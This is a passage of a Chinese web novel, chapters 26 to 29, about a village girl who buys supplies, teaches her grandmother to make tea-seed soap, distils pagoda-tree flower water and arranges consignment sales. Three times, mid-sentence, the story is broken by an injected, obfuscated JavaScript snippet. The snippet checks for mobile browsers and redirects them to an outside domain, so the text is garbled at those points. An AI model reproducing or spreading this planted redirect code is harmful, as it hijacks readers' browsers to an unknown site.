徐氏却瞬间明了，不敢多问，只指着瑛娘手中三本书册，抖着手叫书肆伙计讲价，“这三本价几何？” 伙计没想到一个十来岁的普通小娘子还能认字，讶然瞧过她一眼，道：“千字文、三字经皆作一两，幼学琼林二两。” 端知读书贵，却不知贵到如此地步。 徐氏倒吸了一口凉气，心道今日带来的怕是要花个干净。 瑛娘却放下了《千字文》与《三字经》，只留了《幼学琼林》，与伙计道：“劳烦，一支竹笔、一刀粗纸，以及这本幼学琼林。” 伙计接过徐氏拎来的篮子，在其中垫上一层粗制，才取了书册、纸笔放入，“墨要么？新进的墨，一方一两二钱银。” 瑛娘却摇头，“家中有人会制墨。” 伙计更是惊讶，目光扫及徐氏，见她绷着脸，只当她清楚墨价，对自个儿喊的价不满，连忙收了视线，客气地将篮子递回，“承惠，二两并四百文。” 徐氏倒是带够了钱，可惜昨年挣来的钱都叫瑛娘撺掇着换成了十两一枚的银锭，她不敢带出来用，只得多点了二百文来补上兑税，“二千六百文，点点，可够？” 伙计自是不能挨个儿点数，道了句歉，便搬出了台秤直接将铜板一称，“够的。” 这台秤与后世天平类同，瑛娘看得稀奇，便问他这台秤打何处买的。 “这是潭徽书院的学子想来的，若想买，得去西市的商行才有的。” 瑛娘暂时也用不上这台秤，便只将伙计所言记下，转问道：“店中除了一两二钱银一方的墨，可还有其他好墨？” 伙计不再低眼瞧人，便没得隐瞒，直言道：“自是有的。店中常供潭徽书院学子所用便是自淮南来的龙柱墨，十两银一方。还有贡墨，一两金一方。只贡墨眼下没得现货，若客人想买，得待我去西市调来。” 一两金等比二十一两银。 瑛娘点头，又问：“彩墨价几何？” “彩墨皆一两五钱银一扣。” 彩墨有现货，伙计取来与瑛娘看过，却是只有胡粉、辰砂、藤黄、花青四种，一扣约摸四五钱，质地看来也不够细腻。 瑛娘心中有了数，不说要买，叫上徐氏拎了篮子，道过谢便离开了书肆。 徐氏早好奇得抓心挠肺，拽着瑛娘进茶铺坐下，才贴耳私语，问道：“瑛娘，你是打算叫你五哥六哥做这营生？与读书人做买卖？” 那可是动不动就以两计的玩意儿！ 瑛娘正在心头计算成本，闻言只摇了摇头，叫来热茶饮了一口，道：“制墨工序繁复，少则以年计，且其用料金贵，本金需得以百两计，凭我们家是做不来的。” 桐油不贵，松木也能上山去打，但制墨需得佐料无数，其中连翘、细辛、附子等普通药材还算便宜，珍珠、冰片、鹿胶、熊胆、金箔才算叫人头疼。 以油烟墨为例，一百斤桐油才能得十斤炭黑，加红花、防风、连翘、细辛、附子，伴熊胆、牛骨胶、牛皮胶入药，再加珍珠、麝香、冰片，方能制得一百来方墨。 没有名气，这一百方墨便是交给书肆代卖，算来一年到头也才挣得一百两，瑛娘没恁大志向去混出个什么名头来，因而，如此利益，于她而言实在不值得耗费那般心力去做。 更何况制墨需得下大力气，一年一百两还得与其他人再分，不如多教几样简单不费力气的营生与别人去做，她自个儿坐在家中等着钱收，也少不到哪儿去。 “那……那……” “奶不急，只是不制墨而已。” 制墨成本高，颜料却不尽同。 她昨年收来的栀子至少能制得三十斤色粉，茜草根也能出两色各十斤，便作五钱一扣卖得一两银，一批做下来也能净赚九百八十余两。 只制颜料前需得先制胶，牛皮不好买，鹿角更是价高，这胶只得优选河鱼取其鳔来熬制。 有了胶，待艾草鲜嫩时还可取艾叶制艾色颜料，秋收前后再摘蓼蓝叶制得花青，一年到头来挣个四五千两不成问题，何况她的仓里还藏着些，少说也能卖得千把两银。 而初夏时制花青还可取青黛制得画眉石，只画眉时工艺类同制墨，瑛娘暂时不打算做，倒可以先去坊市街头看看，若胭脂水粉有利可图，再做打算也不迟。 入了坊市，如入另一世界。 富家大户出行皆乘马车，随行皆着彩色丝绢，便是街头商贩也少有穿麻褛粗衣的，所售小物更是以精巧为主。 瑛娘怕冷，新衣裁好也未急着穿，眼下穿的还是琼娘、瑾娘传下来的旧衣，如此一比对，便是近来面上养出了水色，那些摊贩走卒也一眼瞧出她不过一介布衣农户。 但能入坊市谋生的都不是那等痴傻的，便是瑛娘只看不买，这些摊贩也面带着笑，任由她瞧。 “瑛娘，你想买个甚？”徐氏倒不怕这些摊贩，只这坊市多贵人，她怕冲撞了，便时刻注意车马，见瑛娘挨个儿看过也不说好歹，忍不住催她，“你要买，咱就打听了位置去询价，这般逛来得逛到几时去？” 一路逛来，瑛娘要找的东西已经找了个全，点了点头，依言去找那卖妆粉、香脂的摊贩问价。 这摊贩是一肤质细腻、面带桃粉的年轻娘子，见瑛娘年纪尚小，便与她荐了芙蓉香膏，“这芙蓉香膏最适合你这般大的小娘子润肤，一扣只需八百文，能用一季，十分合算。” 说罢，牵过瑛娘的手，取了膏来于她手背上抹匀。 这膏质地还算细腻，拂手有微香，也算得独到之处。 但瑛娘看这摊子上摆的其他脂粉却不尽人意，量也不多，想来这娘子多半是以这芙蓉香膏支撑营生。 “是不错的，劳请与我一扣新的。” 年轻娘子闻言一喜，当即从摊子下方的箱笼里取出一只毛竹打磨的胭脂扣来。 徐氏见那一扣不过瑛娘掌心那般大点，“嘶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14943245|158875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”了一声，正愁得不得掏钱，就见瑛娘自己从袖中摸了一贯来，分出三百文放进篮子，剩下的栓好了一并交给摊主。 “你怎的一贯栓了一千一百个？” “如此一贯便作一两，好计算。” “……” 年轻娘子也笑，收得银钱，又问瑛娘还需什么。 “娘子所售脂粉价几何？” “妆粉五百文，唇脂、胭脂皆作一两银。” 这般价格当真算得实惠，瑛娘默了默红蓝花胭脂和甲煎口脂的方子，估着做来一份本钱就得好些，一时也没了想做的心情。 “那便算了。劳烦娘子，下回再来与你买香膏。” “小娘子慢走。” 买过香膏，瑛娘又去与摆摊卖瓷器的摊主询价。 这摊主只一瓷匠学徒，摊上摆卖的皆是那等精巧小物，瑛娘看中的便是那等常见的瓷制胭脂扣与巴掌长的细颈瓷瓶，问得价格分别为二十文及三十文，二话不说便掏了钱来各买了二十个。 “买好了，走吧奶。” 出了坊市，瑛娘又领着徐氏逛回了东市。 徐氏也是琢磨了一路，瞅着来往人少，便轻声与瑛娘探听，“想来那仙官儿都是涂脂抹粉的吧？你是想照着她们用的仙品做了来卖？” 瑛娘摇头，“没得本钱。” “……” 徐氏无言以对，只随着瑛娘一路进了杂货铺子。 铺子掌柜还记得瑛娘，见她进店，很是热情的打了招呼。 瑛娘也是一笑，“掌柜，店里可有乳钵、戥子。” “自是有的，要多大的？” 瑛娘按需报了尺寸、量重，掌柜翻了翻册子，很快便取来与瑛娘说价，“乳钵八百，戥子一千五百。” “劳烦掌柜再帮我称来三斤白善土、一壶山茶油，对了，可有茶枯？” 掌柜略感惊疑，但见跟着瑛娘的徐氏面无异色，便也依言取来了货，“白善土三斤一千五百文，山茶油一壶四百文，茶枯倒是有，但按饼来卖，一饼一百文，约摸重一斤。” 茶枯价格倒是比瑛娘所想低得许多，默算了账，便摸了四吊来结算，“那劳烦掌柜茶枯与我两饼。” 瑛娘串的四吊足有四千四百枚，掌柜未觉奇怪，也端出一座台秤称重。 “掌柜这台秤也是潭徽书院……” “确是我家公子自天工奇术的孤本中看来的，怎的？小娘子也想买呀？” 瑛娘见掌柜一副与有荣焉的爽气，微笑着摇了摇头，只道自个儿用戥子便已足够。 这一通买来，瑛娘手头的九贯余便只剩三四贯，索性这一日不算白来，又拉着徐氏去买得一笼价值二百多文的拼装点心、十斤板油十斤肉排骨，将钱花得只剩三千九百来文。 徐氏已是被她这花钱的大气样震得无话可说，待得背着新买的背篓出了城，才抬手重重点了点她的头，“当真是个败家子！” “这茶油、茶枯、猪板油可都是买给奶做营生的，奶若不想做，回头我再找人做就是。” “……你这意思是我独个儿就能成？” “自然，做成了自可带来城头叫杂货铺子代卖，若能借此搭上西市的商行，将来能挣多少自不必多说。” 什么营生能做到商行里头去？ 徐氏唆了嗦牙，当即接下了：“……我做！” 27. 香露 瑛娘要徐氏做的是茶枯皂。 市面现有的皂于民而言实属奢侈，像老汪家洗衣所用便是天然的皂荚，一文能买上一斤，但老汪家人口实在太多，一月便能用去将近五斤。 徐氏听得瑛娘要教自己做皂，当即便是大喜，再听瑛娘所言一枚不过十文，一时又不太乐意了。 “城头一枚皂可得五十文、一百文，你做这皂咋就才值当十文？能挣钱吗费那劲？” “奶，你说的那皂是大户人家用来洗手的，佐以牛乳才值那价。我们要做的茶枯皂你也听着本钱了，茶枯不贵，猪板油也不贵，也就山茶油贵些，但均摊成本，一枚只卖十文也能取利近九成，奶一日搓个三十来枚，一日盈收如何也得二百好几。” “那活儿当真我一人就能做下来？” “自然，若奶觉得吃不消，叫上阿爷、玥娘帮忙也成，阿爷和玥娘总归不会与奶分利，挣来多少都是奶的私房。” “……” 徐氏沉默半晌，临了到家总算咬牙接下了，“奶做！这活儿轻省、利高，卖着钱奶分你一半儿？” “行呀。” 徐氏要做茶枯皂，瑛娘自然先紧着她来。 不过她要做的确是需得备些东西，便叫来汪文、汪武，支使他们叫上那几个伙伴一起帮着备采。 “五哥六哥，奶需用陈年的艾草，不拘年份，能买着多少算多少，奶先支了一百文与你们用。但今年的新艾不成，太嫩，晒来也不香，五哥六哥需得注意，别被人哄了。” “其他几位哥哥帮我捞鱼，小鱼一文两条，大鱼一文一条，若捞来的鱼是那几斤一条的，便按一斤一文来算。这些鱼我只要鱼腹内的鱼鳔，鱼肉我教你们做鱼羹、鱼丸，多少也能挣些辛苦钱。” “再就是蚌、贝，不拘大小、品类，能取壳就成，取了帮我烧一烧，届时火候我会与你们说，如此壳类算作一文一斤，以二百为限。” 昨年农闲，这些半大小子在瑛娘手头很是挣了一些零花，眼下有新活儿，一个个自是干劲十足。 夕山脚下就有河，遇上家里年景不好，也有那等在河里寻摸吃食的，不过近几年来大王村田地收成都算不错，这河里的鱼也是多活了好些年了，想来捞捕也不算难。 况且瑛娘还教他们做吃食，便是将来瑛娘不需用那鱼鳔，他们也能靠鱼羹、鱼丸多得一份盈收。 “汪家妹子只管等着，保管给你洗得干干净净再送来！” 瑛娘一笑，只道：“几位哥哥不需急，取来鱼鳔我也得教你们如何才能洗净。” “行！” 汪文、汪武也想去捞鱼，然徐氏不允，他们也只得拿了钱挨家挨户收陈艾去。 原料尚待备采，瑛娘便先教徐氏舂茶枯。 舂茶枯得用踏碓，这东西做来不难，汪木匠叫了个石匠帮工，一两天来就做成了。 这石匠是林家村的，昨年也得了汪木匠赠的菽乳，这日来帮工也吃了一顿热乎好菜，乐得呲着牙花与汪木匠忆往昔。 “想当年咱哥俩在豪绅家做工，那豪绅自诩家财万贯，结果给咱吃冷水就馍馍。瞧着你家现在也是起来了，老哥我不过来帮你两日，又是工钱又是好菜的，真叫老哥脸皮子烫得慌。” 汪木匠如今也觉匠人的工不值钱，拍了拍石匠的肩膀，吸溜了一口水酒，才叫他莫多想，“你光瞧着我家挣钱来，咋不想想你家五六口劳力就管了百来亩地？” 石匠心想确是如此，又是一笑，才一口将水酒饮尽，“你家嘴多，四十亩地可不够吃喝，如今起来了也赶紧多买些地，我前头去府城做工，听得城中守卫说咱们头上那位公主如今不得圣心了，没得家里头贴补，公主怕是得从其他地方想钱来。” 汪木匠笑容一顿，想来自个儿二十来岁时，丰县作为禄地易主，那十来年年全县地税都增了一成，还是后头再易一主才回降，一时也提不起喝酒的兴致了。 “咱丰县这地界儿，说富也富，说穷也是真穷。不过我们大王村不比你们林家村，想买地是真买不着了，就我家这四十亩还得亏原先洪地主一家遭了殃才从官府买过手，如今再想买，怕是不成了。” “罢了，总归你家现在也有一门营生，好好攒钱，便是真长了地税，你家也能花钱买粮来补。” “是罢！” 汪木匠叹了一口气，又陪石匠喝了一碗，才醉醺醺的将人送到了门口，待人走远，又想起瑛娘还交代了事儿，连忙追了几步将人叫住。 “石匠，你手艺好，帮我做一台手摇的石磨，不需得多大，能有一个猪头的体量就成，再打一方差不多大小的石臼。” 石匠酒量好些，眼下倒是清醒，闻言一点头，道：“成，顶多一旬，到时给你送来家。” “成。”汪木匠在怀里摸了摸，掏来三百个钱塞给石匠，“约摸是够买石料了，待你做成了，再结余下七百。” 一方石磨、一方石臼，便是城头也只卖得一两二钱，汪木匠给的价格实属不算太低，石匠乐得做这个人情，笑呵呵将钱接过，这事儿便算成了。 踏碓有了，徐氏也在家头忙活了起来。 茶枯切碎入臼踏舂，筛出细粉备用。 又取艾草烧灰，以热水冲过滤出残渣取净水。 这两样备好，几个半大小子也送来了第一批蚌壳，瑛娘教他们如何烧壳、刮外层，再将净壳研碎筛过，入陈艾滤水沉淀，这活儿便算成了一半。 徐氏见这做法简单，也上手试了试，确保自个儿能成，这才抚掌大笑，叫瑛娘教她之后又该如何。 “奶取一碗前个儿炼好的猪板油，烧化滤渣，加茶油搅匀，再把镇好的陈艾水混入翻搅，直至水成灰白粘稠状，期间不能停，需得时时往里头加陈艾水，直到盆中的油水混作白膏，方能加入茶枯粉。” 徐氏拿了勺便开始搅，直搅得手酸臂软，盆中的油水才成了白膏，待加入茶枯粉，听得还需再搅匀，当即叫了汪木匠来帮忙。 “赶紧弄！” “……” 汪木匠认命接手，待茶枯粉搅匀，又将提前备好的竹筒拿来，将灰白掺杂的乳膏舀来装满竹筒，以油纸扎口封好。 “这便成了？” “还得放上半个月，待得脱模切块，再放置月余风干，如此才算成了。” “……照这般说，这茶枯皂还得四五十日才能卖来钱？” “奶，好饭不怕晚。你一日制得两竹筒，也能切出约摸三十六块了，四十五日合计可得一千六百二十块，待这一千多块全做好，一并拿去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14948475|158875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 城头杂货铺代销，到手的银钱可得多达十四贯余。” 十四贯分瑛娘一半也还剩得七贯，可不比几个媳妇儿日日垂着头盯着那绣篓子挣来强得多？ 徐氏心头得劲儿，催着汪木匠去磨竹筒，“磨个百来件儿，我瞅着我一日能搅出来四五筒。” 如此只需两旬便能做完第一批，便是等上四五十日再一并拿去城头卖，算来一个月也能挣来七贯余。 徐氏连带着汪木匠一同忙起来，瑛娘便也给自己找了事儿做。 大王村村头多植槐树，眼下春暖，槐树含了花苞，日日都有开的，瑛娘便领了玥娘和汪连家家户户串门子，拿了糖块与他们换花。 这糖块自然不是现熬的麦芽糖。 瑛娘仓里没吃完的糖不多了，但敲碎来也装了一匣子，一小块换得一捧花，便是邻里间的大人人乐得与她换。 汪连倒是舍不得，换一家，自个儿也偷偷吃一块，乐得没几天就开始叫牙疼。 林氏：“……” 林氏自是不能怪瑛娘给自家房里的老小吃糖，“等你爹忙完春耕你就得读书了！牙要吃坏了，便是能读得书将来也考不上大官儿，可有你悔恨的！” “我要做大官儿！我要做大官儿！” “那可别再偷吃你七姐的糖了，那也是用来做正经事儿的，以后你读书少不得你爷奶贴补！” 林氏不知这等没甚稀奇的花能做个甚，不过见瑛娘成筐的弄回家来，瞧着不像小打小闹，拎着汪连耳朵一顿敲打，好悬叫汪连保证再不敢偷吃了。 “知道了！娘！我知道了！” 家中槐花攒了许多，瑛娘便取了半筐来，淘洗后入桶上水蒸，又顶天锅放冷水镇热，插得一支细竹导水入罐。 待天锅水热，换水之际加花入桶、将罐中花露回桶复蒸，如此反复三次，才将罐换成细颈瓷瓶。 香露入瓶，半筐槐花蒸来也不过三小瓶。 槐花香味雅淡，因着蒸花，老汪家倒是整个儿浸在花香之中。 邻里闻着味儿来凑热闹，瑛娘也不瞒他们，只道：“这花的味道很得城中富家小姐喜欢，各位叔伯婶娘若得闲，也可去山头打了野槐花与我，一筐算作一百文。” “……嚯！” 有钱挣，村头的人便没恁多想法了，索性田间地头的活儿也做得差不多了，一家出来两个人便能结伴上山打花去，一时好不热闹。 瑛娘得了清闲，索性将糖块换来的槐花全蒸了香露，得了二十瓶才算罢了。 香露沸蒸亦可熏染衣物，瑛娘琢磨着还得进城再买些细颈瓷瓶来，便缠着汪木匠编了个熏笼，将自个儿进城要穿的鹅黄新衣熏上了槐花香。 如今家中少了瑾娘，玥娘便叫云氏赶来偏间儿与瑛娘睡，但玥娘惯会歪缠，每每入睡都要叫云氏哄哄。 云氏惯了她，晚间自然也在偏间儿歇觉半晌，闻得瑛娘香露熏衣，便止不住感概，叹道：“这槐花平时闻来却没觉得多香……我前个儿听你奶说你还识了字？能给小九抄书……仙官儿当真是什么都懂啊。” 瑛娘没说那糊弄话儿，见玥娘歪歪扭扭的睡了过去，只笑了笑，便催着云氏回去睡，“娘别多想，明儿早上还得帮我梳头呢。” “成，你也睡吧。” 28. 销路 瑛娘却没马上入睡。 这几日备下的蚌壳粉、陈艾灰足够徐氏制皂，只鱼鳔积攒不易，瑛娘估摸着还需过得几日才能熬胶。 然这一趟进城也不好只顾采备瓷瓶，索性玥娘熟睡便很难醒，瑛娘便开仓取了一色艾绿、花青、栀黄，两色茜红，用戥子量了重分装于瓷制胭脂扣中，五色各四扣，各色其一只备半扣，以待书肆伙计试色。 装好颜料，瑛娘又琢磨如何与槐花香露定价。 照先头买来的芙蓉香膏香度，可断那摊贩娘子手头的香露应是不纯的，或许提炼有误，也叫她没法做出其他香味的脂膏。 而一扣香膏约摸只需两、三滴香露，她若与那娘子谈成，一瓶香露便能助她做成一百多扣，如此算来，便是一瓶卖个一两银，那娘子也不见得会拒了不买。 只那娘子是做独门生意的摊贩，一次能买两瓶便算多的，剩下的香露还得再去杂货铺子试试，若能叫掌柜识出好坏，说不得有望放去商行代销。 若能与商行合作，二十来瓶却是不够看的，少不得还得再打些槐花来蒸。 谈成槐花香露，待得五月白玉堂、八月野桂开，新增香露又是大笔盈收，积攒两三年来，再制好墨，兴许商行也能给她几分薄面。 如此想着，瑛娘抵不住睡意袭来，打了个呵欠便睡了过去。 无论徐氏亦或云氏都不放心瑛娘独自去城头，卯时二刻，瑛娘便叫云氏从被窝里捞了出来，洗洗漱漱、梳好头发，咪蒙着就蹭上了三房的驴车。 瑛娘听得驴叫还有些懵，待得神智回笼，见那驴并非二房拉磨的那头，才讶然与汪辰道：“三哥，这驴什么时候买的？” 汪辰“嗤”的一笑，轻拍驴臀，催得它提速，才道：“买来月余，可算叫你这个大忙人瞧见了！” 三房的盈收最高，便是只分二成利也赚得够多，春耕之际少了汪点书这口劳力，汪辰和陈氏每日入城很是费劲，左右商量来，便也学着二房买来驴子拉车。 只是三房买驴徐氏是不同意的，好说歹说，才叫汪木匠点头，允了他们自个儿出钱买了驴来套车。 陈氏先头还不高兴，被汪点书和汪辰好一通劝服才想开，眼下也是盼着名下多一头驴，今年如何也把汪辰的婚事说定。 “三哥有在相看的姑娘了？” 陈氏昂着头笑，“可不，前头媒婆刚说了个合眼缘的，是城头那屠户家的独女，也是想着还没说成，三婶才没叫家里头晓得。” 城头屠户只一家，面摊需得大骨，陈氏便与屠户家常往来，两家如今也算熟识了，媒婆一上门，陈氏便觉十分满意，当即就想应下。 只汪辰非说没见过面不知深浅，又叫陈氏与媒婆往来几回，撮合着两人在肉铺门口匆匆见过一面，屠户家又推脱了两次，这事儿才算大致说定。 “照这般看来，三哥喜事将近呀！” 汪辰被瑛娘笑得一阵脸热，抬手在她头上一点，好悬没叫驴车走偏。 “休得再胡道！眼下家里头也忙不过来，蕙娘是骄养大的，还得等秋收后再定，可不好叫人过了门就忙着家里头的活计。” 陈氏也点头，“是这样，将来瑛娘说亲，少不得也得看个农闲时的好日子。叫我说呀，瑾娘就是说得太早，不然眼下可有得好挑。” 瑛娘不欲与陈氏说瑾娘闲话，笑了笑便罢，打过哈欠便靠着车眯觉。 进了城，陈氏和汪辰再顾不得与瑛娘多说，将人放在东市口，匆忙叮嘱了两句便赶着驴往平日支摊子的位置去。 瑛娘睡了个回笼觉，眼下精神了不少，理了理衣衫便快步往坊市去。 坊市街头一如前几日，那脂粉摊子的年轻娘子老远便见着瑛娘在街头闲逛，注意到她身着彩衣，一时有些讶然，再待人至身前，闻得她身上的浓郁的槐花甜香，心头便不自觉擂起了鼓，手一抬，哑声唤道：“小娘子。” “是你呀！” 年轻娘子赫于失态，见瑛娘笑容不改，才清了清嗓，问道：“小娘子用槐花熏衣了？” “却不是以槐花熏衣。”瑛娘盈盈一笑，挥袖一扬，香气顿时扑鼻，“娘子也觉好闻吧？这是家里头做的香露，所取确是槐花。” 闻是好闻，但槐香浓郁，瑛娘又刻意熏得厚重了些，年轻娘子细细闻过也只辨出槐花，如何也猜不透单这槐花如何能做得这般浓郁的香露。 “小娘子这花露……”年轻娘子心头乱得紧，又耻于诓骗她人，嗫嚅半晌，终是低声与瑛娘打听，道：“娘子家里自制的香露，可否舍我一些……” 瑛娘只当不知其目的，故作讶然，“可我家香露是做点心用的。” 说罢，又连忙捂了嘴，左右看过，才长吁了一口气，小声道：“对不住娘子，这香露着实不能舍。” 年轻娘子心头微松，拉了瑛娘的手，也压低了声音，“小娘子别忧心，且知我在家中从不管灶间的活计，只管这脂膏一门生意便可养活小家。花露与我有它用，我是万莫不能扰了你家点心生意的。” “可是……” “小娘子，我愿与你银钱买这花露，事后自可告诉家里长辈，若他们觉得我扰了你家的营生，只管将我赶出这坊市街头，我也再不做这脂膏生意。” 瑛娘还是支支吾吾不肯松口，待得年轻娘子心觉失落，她才跺了两下脚，道：“我这就问问我奶去，娘子你且等我一等，不论成不成，我都会回来与你说清。” 年轻娘子顿时大喜：“劳烦小娘子跑一趟了！” 瑛娘扭头跑出坊市，旋即又入了东市。 于东市一路走来，瑛娘身上的槐花香引得数人回首。 待得临近杂货铺子，瑛娘也未曾注意身旁行人，听得一声响亮的喷嚏，追着声音望去，却见一身着素白学子袍的书生面红耳赤地捂着口鼻，一双丹凤眼因尴尬生情，抬眸却是顾盼生辉。 瑛娘愣怔，再看这书生身量有些眼熟，半晌才想起这分明就是此前叫她好惦记了几日的书生！ “对不住……熏着你了。” 书生刚要说话，槐香扑鼻，便是掩住口鼻也挡不住又一声响亮的喷嚏。 瑛娘没忍住一笑，退得几步，那书生却是不敢再抬头，只作一揖，转身快步离去。 杂货铺子的掌柜也是看了许久热闹，待得瑛娘入门，含着笑挥袖掸了掸香，“小娘子这是掉进蜜罐了？喷香！” “却是家里头制了香露，叫我带来城头卖，不成想没把住分寸，倒叫掌柜看了笑话。” “什么香露这般醇厚？我闻着……是槐花滋味？” “确是槐花香露。先头掌柜说铺子里头有代销之物，不知我家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14951949|158875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做的香露能不能也交给掌柜代管？” 掌柜抚须而思，半晌才道：“且与我看看你那香露如何。” 瑛娘自是应允，自袖中取出一瓶放至柜台。 掌柜掌瓶起塞，拂香而嗅，又倾倒瓶身以指点得一滴，点沾入唇一品，才问：“似是纯制花露？” “是也。此香露只取槐花，香气醇厚，不论点心、脂粉皆可取用。” 掌柜沉吟，又道：“还算稀罕。那依小娘子说来，这香露如何用？作价几何？” “如此一瓶用料颇多，若制香膏所用，类同坊市街头卖的芙蓉香膏那般体量，仅需两滴就能出香，若喜浓香，多一滴正好。若做点心、香饮子，一笼点心约摸取用一滴即可，香饮子一小瓮则取三滴。这一小瓶约摸装得三百滴，如此，掌柜以为一瓶卖个一两银如何？” 一笼点心最差也能赚得五十文，但用以纯澈香露佐助，那点心价格如何也能以银计。 换言之，一两银的点心用上一滴香露，多个三四文钱的本钱，指不定每日还能多卖出个几十笼，如此盈收必定暴涨。 再者，西市香蜜阁一扣脂粉卖得五两银，若换了更纯的香露，那价便是抬上一抬也能叫那些闺阁娘子追捧，其利益非是以一、两滴香露的本钱能计算的。 更何况……丰县不过一隅之地。 据他所知，便是府城也未多见这般醇厚的香露，若能打通销路，一两入手、十两卖出也未尝不可。 掌柜心头有数，又问道：“一瓶一两不算贵价，只是不知小娘子家里头是否只有槐花香露？” “一季能出一百瓶。这一季只有槐花，等到五月、八月还能出白玉堂和桂花。” 夕山山头，瑛娘只见过白玉堂的藤株和野桂花树，而这两味与槐花香露都更贴合点心、脂粉的滋味，做来也不算难，她便也只打算按三季分做这三种香露。 掌柜心觉这一季一百瓶着实有些少了。 不过先头需得做出名堂来，此物才好往商行送，待看过府城亦或他地卖价如何，再与这小娘子协商增数也不迟。 掌柜点了头，“那今日小娘子准备了多少？” “却有一事需得先与掌柜说清，这槐花香露眼下只成了二十瓶，其一卖与了坊市脂粉摊子的娘子，余下八十瓶槐花香露需得四月下旬才能做成。而五月白玉堂七月下出，八月桂花十月下出，若无意外，今年三季花露都需取其一与她，还望掌柜知悉。” “可。那这香露按量结款亦或按期结款？” “按量结。” 这般大小的细口瓷瓶一年需得三百数，而除了瓷瓶，还得定制一批广口胭脂扣分装颜料，瓷器铺子该是没得恁多现货，瑛娘只能交了定金预制。 偏她手头银钱已是用得差不多了，拿了这十九瓶的钱，一会儿也好去西市找瓷器铺子谈。 掌柜没得多问，只道一声“好”，便取了一锭十两的银元宝并九两碎银与她，“待你下回来送香露，需得签下契书送去府衙过印，若你家中有长辈识字，届时便叫上他一起来。” 瑛娘笑着道了谢，将银锭放入袖中，又摸到装了颜料的胭脂扣，抬眸见掌柜正将香露入匣，便尝试着问他：“掌柜可知书肆行不行代销？我家里头除了香露，还采了草植制得不少颜料。” “颜料？ 29. 让利 粉质颜料，加胶调和更易入画。 但眼下没得胶水，瑛娘便叫掌柜弄了些清水，点了几滴调和颜料。 掌柜也曾读过几年书，书、画也算有所涉猎，听得瑛娘建议，便取了纸笔来，以指腹点水调和颜料作画。 指腹甫一接触颜料，掌柜便知瑛娘拿来的这些颜料远比书肆售卖的质地要细腻许多，再看成画色彩自然，浓淡可随心定，当是比得府城卖的。 掌柜满意地收了笔，心头约摸有了章程，便与瑛娘笑道：“小娘子家中确是能人不少。听你先头说来，这些个颜料都是植株所制？可还有其他颜色？” 他这话问得直白。 瑛娘心知这位掌柜与商行的关系比她之前料想的更为紧密，也生了弃得书肆直接与他合作的念头，只如实道：“这五色颜料分别以艾草、茜草、蓼蓝、栀子为原料，平日极为常见。其他色彩自也能制得，且矿制颜料更比植株颜料丰富，只是奇矿难寻，家里头眼下实在没那底气和本钱从外头买矿来制，便只以植株取彩制得颜料，待日后有缘拾得奇矿，再制来供给那般不至于辱没珍奇的大家。” 物以奇为贵，价以稀更高。 掌柜观得瑛娘词句清晰、谈吐自然，倒是推翻了先头只当她被家里养得外向的看法，目光不自觉带了些欣赏，点头附和：“该是如此。” 于此同时，掌柜也在心头盘算着如何才能将瑛娘说服，把这颜料的买卖也接过手。 他虽只管着东市杂货，因着时常寻得稀罕物与商行往来，平日素来叫东家信重，眼下香露算得一笔，若能把这颜料也谈下来，来日指不定也能去商行带一支商队往外去闯闯。 “书肆那头确行代销之事。但书肆只做丰县学子的生意，潭徽书院虽有三百学子，真正能用得颜料的却不过百。依我所见，小娘子不如将这颜料也与我代销，或能获利更丰。” 瑛娘自然知道书肆那头给不出多好的价，听得掌柜一提，便作微赫，支吾着说了实话，“与书肆代销，却是为着方便来日家中制了墨好卖。” “……你家里头还有会制墨的？” 瑛娘咧着嘴无声笑了笑，算作默认了。 掌柜心头服气，才将瑛娘从头到脚打量了一遍，观她虽身着棉绢，绢色却极为均匀，不似那等寻常家庭自个儿浸了染液做面的样子，不禁失笑道：“倒是我眼拙了。书墨确是我无法匹及的买卖，不过还是□□，书肆代销怕是卖不出多少，你家若做了多的颜料，不如分出一些与我。” “掌柜可愿与我透露书肆那头约摸能销多少？我再算算家中一年能出的量，才好决定。” 书肆那头账目不算隐秘，有心一查便知。 掌柜为人本也算得正直，估算过颜料市价、书肆来往者数目，便与瑛娘推心置腹，道：“你这颜料比书肆现销的要好上许多，若书肆代销，必定给你低价，再高价售出。如此一来，多半更多卖与家中富裕的学子，但书院学子喜作画者不多数，算来……书肆代销，一年顶多能卖百来扣。” “啊……” 掌柜一瞧瑛娘面色便知他赌对了，继而追道：“若你家中同意，各色卖与书肆二十扣即可，余下的与我往府城代销，便是各色上千数也卖得脱。来日墨成，拿来与我看过，若出墨成色好，我也能说服东家帮你销去府城或更繁华之地。” 